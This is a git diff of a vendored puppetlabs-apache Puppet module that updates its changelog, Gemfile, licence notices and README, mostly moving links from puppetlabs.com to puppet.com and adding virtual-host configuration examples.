+- option to override module package names with `mod_packages` parameter ([MODULES-3838](https://tickets.puppet.com/browse/MODULES-3838))
+
+#### Removed
+- enclose_ipv6 as it was added to puppetlabs-stdlib
+- deprecated `$verifyServerCert` parameter from the `apache::mod::authnz_ldap` class ([MODULES-4445](https://tickets.puppet.com/browse/MODULES-4445))
+
+#### Changed
+- `keepalive` default to 'On' from 'Off'
+- Puppet version compatibility to ">= 4.7.0 < 6.0.0"
+- puppetlabs-stdlib dependency to ">= 4.12.0 < 5.0.0"
+- `ssl_cipher` to explicitly disable 3DES because of Sweet32
+
+#### Fixed
+- various issues in the vhost template
+- use of deprecated `include_src` parameter in vhost_spec
+- management of ssl.conf on RedHat systems
+- various SLES/Suse params
+- mod::cgi ordering for FreeBSD
+- issue where ProxyPreserveHost could not be set without other Proxy* directives
+- the module attempting to install proxy_html on Ubuntu Xenial and Debian Stretch
+
+## Supported Release [1.11.0]
+### Summary
This release adds SLES12 Support and many more features and bugfixes.
#### Features
@@ -68,7 +117,7 @@ This release adds SLES12 Support and many more features and bugfixes.
- (MODULES-3744) Process $crs_package before $modsec_dir
- (MODULES-1491) Adds `::apache` include to mods that need it
-## Supported Release 1.10.0
+## Supported Release [1.10.0]
#### Summary
This release fixes backwards compatibility bugs introduced in 1.9.0. Also includes a new mod class and a new vhost feature.
@@ -89,7 +138,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ
- Revert "changed rpaf Configuration Directives: RPAF -> RPAF_". Bug introduced in release 1.9.0.
- Set actual path to apachectl on FreeBSD. Fixes snippets verification.
-## Supported Release 1.9.0 [DELETED]
+## Supported Release [1.9.0] [DELETED]
#### Features
- Added `apache_version` fact
- Added `apache::balancer::target` attribute
@@ -169,7 +218,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ
- Fixed xml2enc for proxy\_html on debian
- Fixed a problem where the apache service restarts too fast
-## Supported Release 1.8.1
+## Supported Release [1.8.1]
### Summary
This release includes bug fixes and a documentation update.
@@ -178,7 +227,7 @@ This release includes bug fixes and a documentation update.
- Fixes a bug where passenger.conf was vulnerable to purging.
- Removes the pin of the concat module dependency.
-## 2016-01-26 - Supported Release 1.8.0
+## Supported Release [1.8.0]
### Summary
This release includes a lot of bug fixes and feature updates, including support for Debian 8, as well as many test improvements.
@@ -219,12 +268,12 @@ This release includes a lot of bug fixes and feature updates, including support
- Added X-Forwarded-For into log_formats defaults.
- (MODULES-2703) Allow mod pagespeed to take an array of lines as additional_configuration.
-## Supported Release 1.7.1
+## Supported Release [1.7.1]
###Summary
Small release for support of newer PE versions. This increments the version of PE in the metadata.json file.
-## 2015-11-17 - Supported Release 1.7.0
+## Supported Release [1.7.0]
### Summary
This release includes many new features and bugfixes. There are test, documentation and misc improvements.
@@ -272,7 +321,7 @@ This release includes many new features and bugfixes. There are test, documentat
- allow multiple IP addresses per vhost
- default document root update for Ubuntu 14.04 and Debian 8
-## 2015-07-28 - Supported Release 1.6.0
+## Supported Release [1.6.0]
### Summary
This release includes a couple of new features, along with test and documentation updates, and support for the latest AIO puppet builds.
@@ -286,7 +335,7 @@ This release includes a couple of new features, along with test and documentatio
- Do not use systemd on Amazon Linux
- Add missing docs for `timeout` parameter (MODULES-2148)
-## 2015-06-11 - Supported Release 1.5.0
+## Supported Release [1.5.0]
### Summary
This release primarily adds Suse compatibility. It also adds a handful of other
parameters for greater configuration control.
@@ -318,11 +367,11 @@ parameters for greater configuration control.
- Fix userdir access permissions
- Fix issue where the module was trying to use systemd on Amazon Linux.
-## 2015-04-28 - Supported Release 1.4.1
+## Supported Release [1.4.1]
This release corrects a metadata issue that has been present since release 1.2.0. The refactoring of `apache::vhost` to use `puppetlabs-concat` requires a version of concat newer than the version required in PE. If you are using PE 3.3.0 or earlier you will need to use version 1.1.1 or earlier of the `puppetlabs-apache` module.
-## 2015-03-17 - Supported Release 1.4.0
+## Supported Release [1.4.0]
###Summary
This release fixes the issue where the docroot was still managed even if the default vhosts were disabled and has many other features and bugfixes including improved support for 'deny' and 'require' as arrays in the 'directories' parameter under `apache::vhost`
@@ -365,7 +414,7 @@ This release fixes the issue where the docroot was still managed even if the def
- Change the loadfile name for `mod_passenger` so `mod_proxy` will load by default before `mod_passenger`
- Remove old Debian work-around that removed `passenger_extra.conf`
-## 2015-02-17 - Supported Release 1.3.0
+## Supported Release [1.3.0]
### Summary
This release has many new features and bugfixes, including the ability to optionally not trigger service restarts on config changes.
@@ -424,7 +473,7 @@ This release has many new features and bugfixes, including the ability to option
- Fix indentation in `vhost/_directories.erb` template (MODULES-1688)
- Create symlinks on all distros if `vhost_enable_dir` is specified
-## 2014-09-30 - Supported Release 1.2.0
+## Supported Release [1.2.0]
### Summary
This release features many improvements and bugfixes, including several new defines, a reworking of apache::vhost for more extensibility, and many new parameters for more customization. This release also includes improved support for strict variables and the future parser.
@@ -527,13 +576,13 @@ This release features many improvements and bugfixes, including several new defi
* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
* SLES is unsupported.
-## 2014-07-15 - Supported Release 1.1.1
+## Supported Release [1.1.1]
### Summary
This release merely updates metadata.json so the module can be uninstalled and
upgraded via the puppet module command.
-## 2014-04-14 Supported Release 1.1.0
+## Supported Release [1.1.0]
### Summary
@@ -568,7 +617,7 @@ through adding RHEL7 and Ubuntu 14.04 support. It also includes Passenger
* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
* SLES is unsupported.
-## 2014-03-04 Supported Release 1.0.1
+## Supported Release [1.0.1]
### Summary
This is a supported release. This release removes a testing symlink that can
@@ -581,7 +630,7 @@ modulepath.
* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
* SLES is unsupported.
-## 2014-03-04 Supported Release 1.0.0
+## Supported Release [1.0.0]
### Summary
This is a supported release. This release introduces Apache 2.4 support for
@@ -605,7 +654,7 @@ Debian and RHEL based osfamilies.
---
-## 2014-01-31 Release 0.11.0
+## Supported Release [0.11.0]
### Summary:
This release adds preliminary support for Windows compatibility and multiple rewrite support.
@@ -642,7 +691,7 @@ This release adds preliminary support for Windows compatibility and multiple rew
- Fix $ports_file reference in Namevirtualhost.
-## 2013-12-05 Release 0.10.0
+## Supported Release [0.10.0]
### Summary:
This release adds FreeBSD osfamily support and various other improvements to some mods.
@@ -681,7 +730,7 @@ This release adds FreeBSD osfamily support and various other improvements to som
- only apply Directory defaults when provider is a directory
- Working mod_authnz_ldap support on Debian/Ubuntu
-## 2013-09-06 Release 0.9.0
+## Supported Release [0.9.0]
### Summary:
This release adds more parameters to the base apache class and apache defined
resource to make the module more flexible. It also adds or enhances SuPHP,
@@ -739,13 +788,13 @@ Class['apache::service']`
- Made `aliases` able to take a single alias hash instead of requiring an
array.
-## 2013-07-26 Release 0.8.1
+## Supported Release [0.8.1]
#### Bugfixes:
- Update `apache::mpm_module` detection for worker/prefork
- Update `apache::mod::cgi` and `apache::mod::cgid` detection for
worker/prefork
-## 2013-07-16 Release 0.8.0
+## Supported Release [0.8.0]
#### Features:
- Add `servername` parameter to `apache` class
- Add `proxy_set` parameter to `apache::balancer` define
@@ -757,7 +806,7 @@ worker/prefork
- Fix `apache::mod::*` to notify the service on config change
- Documentation updates
-## 2013-07-09 Release 0.7.0
+## Supported Release [0.7.0]
#### Changes:
- Essentially rewrite the module -- too many to list
- `apache::vhost` has many abilities -- see README.md for details
@@ -767,12 +816,12 @@ worker/prefork
#### Bugfixes:
- Many. And many more to come
-## 2013-03-2 Release 0.6.0
+## Supported Release [0.6.0]
- update travis tests (add more supported versions)
- add access log_parameter
- make purging of vhost dir configurable
-## 2012-08-24 Release 0.4.0
+## Supported Release [0.4.0]
#### Changes:
- `include apache` is now required when using `apache::mod::*`
@@ -781,7 +830,7 @@ worker/prefork
- Fix formatting in vhost template
- Fix spec tests such that they pass
-## 2012-05-08 Puppet Labs - 0.0.4
+## Supported Release [0.0.4]
* e62e362 Fix broken tests for ssl, vhost, vhost::*
* 42c6363 Changes to match style guide and pass puppet-lint without error
* 42bc8ba changed name => path for file resources in order to name namevar by it's name
@@ -814,3 +863,32 @@ worker/prefork
* 6a5b11a Ensure installed
* f672e46 a2mod fix
* 8a56ee9 add pthon support to apache
+
+[2.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.11.0...2.0.0
+[1.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...1.11.0
+[1.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...1.10.0
+[1.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...1.9.0
+[1.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.0...1.8.1
+[1.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.1...1.8.0
+[1.7.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.0...1.7.1
+[1.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.6.0...1.7.0
+[1.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.5.0...1.6.0
+[1.5.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.1...1.5.0
+[1.4.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.0...1.4.1
+[1.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.3.0...1.4.0
+[1.3.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.2.0...1.3.0
+[1.2.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.1...1.2.0
+[1.1.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.0...1.1.1
+[1.1.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.1...1.1.0
+[1.0.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.0...1.0.1
+[1.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.11.0...1.0.0
+[0.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...0.11.0
+[0.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...0.10.0
+[0.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...0.9.0
+[0.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.8.0...0.8.1
+[0.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.7.0...0.8.0
+[0.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.6.0...0.7.0
+[0.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.5.0-rc1...0.6.0
+[0.5.0-rc1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.4.0...0.5.0-rc1
+[0.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.3.0...0.4.0
+[0.0.4]:https://github.com/puppetlabs/puppetlabs-apache/commits/0.0.4
diff --git a/modules/services/unix/http/apache/CONTRIBUTING.md b/modules/services/unix/http/apache/CONTRIBUTING.md
index 3c3f1e799..990edba7e 100644
--- a/modules/services/unix/http/apache/CONTRIBUTING.md
+++ b/modules/services/unix/http/apache/CONTRIBUTING.md
@@ -43,7 +43,7 @@ Checklist (and a short version for the impatient)
- Make sure you have a [GitHub account](https://github.com/join)
- - [Create a ticket](https://tickets.puppetlabs.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppetlabs.com/browse/) you are patching for.
+ - [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for.
* Preferred method:
@@ -215,4 +215,3 @@ Additional Resources
* [General GitHub documentation](http://help.github.com/)
* [GitHub pull request documentation](http://help.github.com/send-pull-requests/)
-
diff --git a/modules/services/unix/http/apache/Gemfile b/modules/services/unix/http/apache/Gemfile
index 3d46720d2..46cb2eace 100644
--- a/modules/services/unix/http/apache/Gemfile
+++ b/modules/services/unix/http/apache/Gemfile
@@ -29,39 +29,27 @@ end
# Used for gem conditionals
supports_windows = false
+ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments
+minor_version = "#{ruby_version_segments[0]}.#{ruby_version_segments[1]}"
group :development do
- gem 'puppet-lint', :require => false
- gem 'metadata-json-lint', :require => false, :platforms => 'ruby'
- gem 'puppet_facts', :require => false
- gem 'puppet-blacksmith', '>= 3.4.0', :require => false, :platforms => 'ruby'
- gem 'puppetlabs_spec_helper', '>= 1.2.1', :require => false
- gem 'rspec-puppet', '>= 2.3.2', :require => false
- gem 'rspec-puppet-facts', :require => false, :platforms => 'ruby'
- gem 'mocha', '< 1.2.0', :require => false
- gem 'simplecov', :require => false, :platforms => 'ruby'
- gem 'parallel_tests', '< 2.10.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
- gem 'parallel_tests', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0')
- gem 'rubocop', '0.41.2', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
- gem 'rubocop', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0')
- gem 'rubocop-rspec', '~> 1.6', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0')
- gem 'pry', :require => false
- gem 'json_pure', '<= 2.0.1', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
- gem 'fast_gettext', '1.1.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
- gem 'fast_gettext', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
+ gem "puppet-module-posix-default-r#{minor_version}", :require => false, :platforms => "ruby"
+ gem "puppet-module-win-default-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
+ gem "puppet-module-posix-dev-r#{minor_version}", :require => false, :platforms => "ruby"
+ gem "puppet-module-win-dev-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
+ gem "json_pure", '<= 2.0.1', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
+ gem "fast_gettext", '1.1.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
+ gem "fast_gettext", :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
end
group :system_tests do
- gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '~> 2.20') if supports_windows
- gem 'beaker', *location_for(ENV['BEAKER_VERSION']) if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0') and ! supports_windows
- gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '< 3') if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.3.0') and ! supports_windows
- gem 'beaker-pe', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0')
- gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '>= 3.4') if ! supports_windows
- gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '~> 5.1') if supports_windows
- gem 'beaker-puppet_install_helper', :require => false
- gem 'master_manipulator', :require => false
- gem 'beaker-hostgenerator', *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION'])
- gem 'beaker-abs', *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1')
+ gem "puppet-module-posix-system-r#{minor_version}", :require => false, :platforms => "ruby"
+ gem "puppet-module-win-system-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
+ gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '>= 3')
+ gem "beaker-pe", :require => false
+ gem "beaker-rspec", *location_for(ENV['BEAKER_RSPEC_VERSION'])
+ gem "beaker-hostgenerator", *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION'])
+ gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1')
end
gem 'puppet', *location_for(ENV['PUPPET_GEM_VERSION'])
diff --git a/modules/services/unix/http/apache/LICENSE b/modules/services/unix/http/apache/LICENSE
index 261eeb9e9..d64569567 100644
--- a/modules/services/unix/http/apache/LICENSE
+++ b/modules/services/unix/http/apache/LICENSE
@@ -1,3 +1,4 @@
+
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
diff --git a/modules/services/unix/http/apache/MAINTAINERS.md b/modules/services/unix/http/apache/MAINTAINERS.md
new file mode 100644
index 000000000..18a33881e
--- /dev/null
+++ b/modules/services/unix/http/apache/MAINTAINERS.md
@@ -0,0 +1,6 @@
+## Maintenance
+
+Maintainers:
+ - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com`
+
+Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `apache`.
diff --git a/modules/services/unix/http/apache/NOTICE b/modules/services/unix/http/apache/NOTICE
index c07b29dc8..77c13089a 100644
--- a/modules/services/unix/http/apache/NOTICE
+++ b/modules/services/unix/http/apache/NOTICE
@@ -1,8 +1,6 @@
-apache puppet module
+Puppet Module - puppetlabs-apache
-Copyright (C) 2012-2016 Puppet Labs, Inc.
-
-Puppet Labs can be contacted at: info@puppetlabs.com
+Copyright 2017 Puppet, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,4 +12,4 @@ Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
-limitations under the License.
+limitations under the License.
\ No newline at end of file
diff --git a/modules/services/unix/http/apache/README.md b/modules/services/unix/http/apache/README.md
old mode 100644
new mode 100755
index ae4a81b4a..90f4a7094
--- a/modules/services/unix/http/apache/README.md
+++ b/modules/services/unix/http/apache/README.md
@@ -16,6 +16,7 @@
[Installing specific modules]: #installing-specific-modules
[Configuring FastCGI servers]: #configuring-fastcgi-servers-to-handle-php-files
[Load balancing examples]: #load-balancing-examples
+[apache affects]: #what-the-apache-module-affects
[Reference]: #reference
[Public classes]: #public-classes
@@ -28,7 +29,7 @@
[Development]: #development
[Contributing]: #contributing
-[Running tests]: #running-tests
+[Testing]: #testing
[`AddDefaultCharset`]: https://httpd.apache.org/docs/current/mod/core.html#adddefaultcharset
[`add_listen`]: #add_listen
@@ -76,7 +77,7 @@
[`apache::vhost::WSGIImportScript`]: #wsgiimportscript
[Apache HTTP Server]: https://httpd.apache.org
[Apache modules]: https://httpd.apache.org/docs/current/mod/
-[array]: https://docs.puppetlabs.com/puppet/latest/reference/lang_data_array.html
+[array]: https://docs.puppet.com/puppet/latest/reference/lang_data_array.html
[audit log]: https://github.com/SpiderLabs/ModSecurity/wiki/ModSecurity-2-Data-Formats#audit-log
@@ -105,18 +106,19 @@
[`EnableSendfile`]: https://httpd.apache.org/docs/current/mod/core.html#enablesendfile
[enforcing mode]: http://selinuxproject.org/page/Guide/Mode
-[`ensure`]: https://docs.puppetlabs.com/references/latest/type.html#package-attribute-ensure
+[`ensure`]: https://docs.puppet.com/latest/type.html#package-attribute-ensure
[`error_log_file`]: #error_log_file
[`error_log_syslog`]: #error_log_syslog
[`error_log_pipe`]: #error_log_pipe
[`ExpiresByType`]: https://httpd.apache.org/docs/current/mod/mod_expires.html#expiresbytype
-[exported resources]: http://docs.puppetlabs.com/latest/reference/lang_exported.md
+[exported resources]: http://docs.puppet.com/latest/reference/lang_exported.md
[`ExtendedStatus`]: https://httpd.apache.org/docs/current/mod/core.html#extendedstatus
-[Facter]: http://docs.puppetlabs.com/facter/
+[Facter]: http://docs.puppet.com/facter/
[FastCGI]: http://www.fastcgi.com/
[FallbackResource]: https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource
[`fallbackresource`]: #fallbackresource
+[`FileETag`]: https://httpd.apache.org/docs/current/mod/core.html#fileetag
[filter rules]: https://httpd.apache.org/docs/current/filter.html
[`filters`]: #filters
[`ForceType`]: https://httpd.apache.org/docs/current/mod/core.html#forcetype
@@ -124,7 +126,8 @@
[GeoIPScanProxyHeaders]: http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Proxy-Related_Directives
[`gentoo/puppet-portage`]: https://github.com/gentoo/puppet-portage
-[Hash]: https://docs.puppetlabs.com/puppet/latest/reference/lang_data_hash.html
+[Hash]: https://docs.puppet.com/puppet/latest/reference/lang_data_hash.html
+[`HttpProtocolOptions`]: http://httpd.apache.org/docs/current/mod/core.html#httpprotocoloptions
[`IncludeOptional`]: https://httpd.apache.org/docs/current/mod/core.html#includeoptional
[`Include`]: https://httpd.apache.org/docs/current/mod/core.html#include
@@ -151,6 +154,7 @@
[`manage_docroot`]: #manage_docroot
[`manage_user`]: #manage_user
[`manage_group`]: #manage_group
+[`supplementary_groups`]: #supplementary_groups
[`MaxConnectionsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxconnectionsperchild
[`max_keepalive_requests`]: #max_keepalive_requests
[`MaxRequestWorkers`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxrequestworkers
@@ -187,14 +191,14 @@
[`mod_status`]: https://httpd.apache.org/docs/current/mod/mod_status.html
[`mod_version`]: https://httpd.apache.org/docs/current/mod/mod_version.html
[`mod_wsgi`]: https://modwsgi.readthedocs.org/en/latest/
-[module contribution guide]: https://docs.puppetlabs.com/forge/contributing.html
+[module contribution guide]: https://docs.puppet.com/forge/contributing.html
[`mpm_module`]: #mpm_module
[multi-processing module]: https://httpd.apache.org/docs/current/mpm.html
[name-based virtual hosts]: https://httpd.apache.org/docs/current/vhosts/name-based.html
[`no_proxy_uris`]: #no_proxy_uris
-[open source Puppet]: https://docs.puppetlabs.com/puppet/
+[open source Puppet]: https://docs.puppet.com/puppet/
[`Options`]: https://httpd.apache.org/docs/current/mod/core.html#options
[`path`]: #path
@@ -206,10 +210,10 @@
[`proxy_pass`]: #proxy_pass
[`ProxyPass`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass
[`ProxySet`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset
-[Puppet Enterprise]: https://docs.puppetlabs.com/pe/
-[Puppet Forge]: https://forge.puppetlabs.com
-[Puppet Labs]: https://puppetlabs.com
-[Puppet module]: https://docs.puppetlabs.com/puppet/latest/reference/modules_fundamentals.html
+[Puppet Enterprise]: https://docs.puppet.com/pe/
+[Puppet Forge]: https://forge.puppet.com
+[Puppet]: https://puppet.com
+[Puppet module]: https://docs.puppet.com/puppet/latest/reference/modules_fundamentals.html
[Puppet module's code]: https://github.com/puppetlabs/puppetlabs-apache/blob/master/manifests/default_mods.pp
[`purge_configs`]: #purge_configs
[`purge_vhost_dir`]: #purge_vhost_dir
@@ -232,7 +236,7 @@
[`ServerRoot`]: https://httpd.apache.org/docs/current/mod/core.html#serverroot
[`ServerTokens`]: https://httpd.apache.org/docs/current/mod/core.html#servertokens
[`ServerSignature`]: https://httpd.apache.org/docs/current/mod/core.html#serversignature
-[Service attribute restart]: http://docs.puppetlabs.com/references/latest/type.html#service-attribute-restart
+[Service attribute restart]: http://docs.puppet.com/latest/type.html#service-attribute-restart
[`source`]: #source
[`SSLCARevocationCheck`]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck
[SSL certificate key file]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcertificatekeyfile
@@ -247,12 +251,12 @@
[`suphp_addhandler`]: #suphp_addhandler
[`suphp_configpath`]: #suphp_configpath
[`suphp_engine`]: #suphp_engine
-[supported operating system]: https://forge.puppetlabs.com/supported#puppet-supported-modules-compatibility-matrix
+[supported operating system]: https://forge.puppet.com/supported#puppet-supported-modules-compatibility-matrix
[`ThreadLimit`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadlimit
[`ThreadsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadsperchild
[`TimeOut`]: https://httpd.apache.org/docs/current/mod/core.html#timeout
-[template]: http://docs.puppetlabs.com/puppet/latest/reference/lang_template.html
+[template]: http://docs.puppet.com/puppet/latest/reference/lang_template.html
[`TraceEnable`]: https://httpd.apache.org/docs/current/mod/core.html#traceenable
[`verify_config`]: #verify_config
@@ -261,6 +265,7 @@
[`virtual_docroot`]: #virtual_docroot
[Web Server Gateway Interface]: https://www.python.org/dev/peps/pep-3333/#abstract
+[`WSGIRestrictEmbedded`]: http://modwsgi.readthedocs.io/en/develop/configuration-directives/WSGIRestrictEmbedded.html
[`WSGIPythonPath`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonPath.html
[`WSGIPythonHome`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonHome.html
@@ -268,6 +273,7 @@
1. [Module description - What is the apache module, and what does it do?][Module description]
2. [Setup - The basics of getting started with apache][Setup]
+ - [What the apache module affects][apache affects]
- [Beginning with Apache - Installation][Beginning with Apache]
3. [Usage - The classes and defined types available for configuration][Usage]
- [Configuring virtual hosts - Examples to help get started][Configuring virtual hosts]
@@ -290,7 +296,7 @@
## Setup
-**What the apache Puppet module affects:**
+### What the apache module affects:
- Configuration files and directories (created and written to)
- **WARNING**: Configurations *not* managed by Puppet will be purged.
@@ -302,9 +308,9 @@
On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Note that while several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module.
-> **Note**: This module modifies Apache configuration files and directories and purges any configuration not managed by Puppet. Apache configuration should be managed by Puppet, as unmanaged configuration files can cause unexpected failures.
-
-To temporarily disable full Puppet management, set the [`purge_configs`][] parameter in the [`apache`][] class declaration to false. We recommend using this only as a temporary means of saving and relocating customized configurations.
+> **Warning**: This module modifies Apache configuration files and directories and purges any configuration not managed by Puppet. Apache configuration should be managed by Puppet, as unmanaged configuration files can cause unexpected failures.
+>
+>To temporarily disable full Puppet management, set the [`purge_configs`][] parameter in the [`apache`][] class declaration to false. We recommend this only as a temporary means of saving and relocating customized configurations.
### Beginning with Apache
@@ -314,9 +320,17 @@ To have Puppet install Apache with the default parameters, declare the [`apache`
class { 'apache': }
```
-The Puppet module applies a default configuration based on your operating system; Debian, Red Hat, FreeBSD, and Gentoo systems each have unique default configurations. These defaults work in testing environments but are not suggested for production, and Puppet recommends customizing the class's parameters to suit your site. Use the [Reference](#reference) section to find information about the class's parameters and their default values.
+When you declare this class with the default options, the module:
-You can customize parameters when declaring the `apache` class. For instance, this declaration installs Apache without the apache module's [default virtual host configuration][Configuring virtual hosts], allowing you to customize all Apache virtual hosts:
+- Installs the appropriate Apache software package and [required Apache modules](#default_mods) for your operating system.
+- Places the required configuration files in a directory, with the [default location](#conf_dir) Depends on operating system.
+- Configures the server with a default virtual host and standard port ('80') and address ('\*') bindings.
+- Creates a document root directory Depends on operating system, typically `/var/www`.
+- Starts the Apache service.
+
+Apache defaults depend on your operating system. These defaults work in testing environments but are not suggested for production. We recommend customizing the class's parameters to suit your site.
+
+For instance, this declaration installs Apache without the apache module's [default virtual host configuration][Configuring virtual hosts], allowing you to customize all Apache virtual hosts:
``` puppet
class { 'apache':
@@ -324,7 +338,7 @@ class { 'apache':
}
```
-> **Note**: When `default_vhost` is set to `false` you have to add at least one `apache::vhost` resource or Apache will not start.
+> **Note**: When `default_vhost` is set to `false`, you have to add at least one `apache::vhost` resource or Apache will not start. To establish a default virtual host, either set the `default_vhost` in the `apache` class or use the [`apache::vhost`][] defined type. You can also configure additional specific virtual hosts with the [`apache::vhost`][] defined type.
## Usage
@@ -332,7 +346,6 @@ class { 'apache':
The default [`apache`][] class sets up a virtual host on port 80, listening on all interfaces and serving the [`docroot`][] parameter's default directory of `/var/www`.
-> **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters.
To configure basic [name-based virtual hosts][], specify the [`port`][] and [`docroot`][] parameters in the [`apache::vhost`][] defined type:
@@ -343,6 +356,8 @@ apache::vhost { 'vhost.example.com':
}
```
+See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters.
+
> **Note**: Apache processes virtual hosts in alphabetical order, and server administrators can prioritize Apache's virtual host processing by prefixing a virtual host's configuration file name with a number. The [`apache::vhost`][] defined type applies a default [`priority`][] of 15, which Puppet interprets by prefixing the virtual host's file name with `15-`. This all means that if multiple sites have the same priority, or if you disable priority numbers by setting the `priority` parameter's value to false, Apache still processes virtual hosts in alphabetical order.
To configure user and group ownership for `docroot`, use the [`docroot_owner`][] and [`docroot_group`][] parameters:
@@ -430,7 +445,7 @@ apache::vhost { 'ip.example.com':
}
```
-It is also possible to configure more than one IP address per virtual host by using an array of IP addresses for the [`ip`][] parameter:
+You can also configure more than one IP address per virtual host by using an array of IP addresses for the [`ip`][] parameter:
``` puppet
apache::vhost { 'ip.example.com':
@@ -440,6 +455,16 @@ apache::vhost { 'ip.example.com':
}
```
+You can configure multiple ports per virtual host by using an array of ports for the [`port`][] parameter:
+
+``` puppet
+apache::vhost { 'ip.example.com':
+ ip => ['127.0.0.1'],
+ port => ['80','8080']
+ docroot => '/var/www/ip',
+}
+```
+
To configure a virtual host with [aliased servers][], refer to the aliases using the [`serveraliases`][] parameter:
``` puppet
@@ -453,7 +478,7 @@ apache::vhost { 'aliases.example.com':
}
```
-To set up a virtual host with a wildcard alias for the subdomain mapped to a same-named directory, such as 'http://example.com.loc' mapped to `/var/www/example.com`, define the wildcard alias using the [`serveraliases`][] parameter and the document root with the [`virtual_docroot`][] parameter:
+To set up a virtual host with a wildcard alias for the subdomain mapped to a directory of the same name, such as 'http://example.com.loc' mapped to `/var/www/example.com`, define the wildcard alias using the [`serveraliases`][] parameter and the document root with the [`virtual_docroot`][] parameter:
``` puppet
apache::vhost { 'subdomain.loc':
